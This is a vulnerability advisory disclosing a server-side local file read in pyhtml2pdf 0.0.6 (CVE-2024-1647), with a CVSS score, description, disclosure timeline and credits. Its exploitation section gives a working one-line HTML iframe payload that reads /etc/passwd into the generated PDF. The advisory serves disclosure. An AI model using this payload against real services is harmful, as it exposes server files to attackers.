pyhtml2pdf 0.0.6 - Local File Read
Summary
Name | pyhtml2pdf 0.0.6 - Local File Read |
Code name | |
Product | Pyhtml2pdf |
Affected versions | Version 0.0.6 |
State | Public |
Release date | 2024-02-19 |
Vulnerability
Kind | Server Side XSS |
Rule | |
Remote | Yes |
CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVSSv3.1 Base Score | 7.5 |
Exploit available | Yes |
CVE ID(s) |
Description
Pyhtml2pdf version 0.0.6 allows an external attacker to remotely obtain arbitrary local files. This is possible because the application does not validate the HTML content entered by the user.
Vulnerability
This vulnerability occurs because the application does not validate that the HTML content entered by the user is not malicious.
Exploitation
To exploit this vulnerability, we only need to send the following malicious HTML to pyhtml2pdf:
Exploit.html
<iframe width="10000px" height="10000px" src=file:///etc/passwd></iframe>
Thus, when pyhtml2pdf parses the malicious HTML, it will return the local file specified in the generated PDF.
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2024-1647 to refer to this issue from now on.
System Information
-
Version: Pyhtml2pdf 0.0.6
-
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://pypi.org/project/pyhtml2pdf/
Timeline
2024-01-14
Vulnerability discovered.
2024-01-14
Vendor contacted.
2024-02-19
Public Disclosure.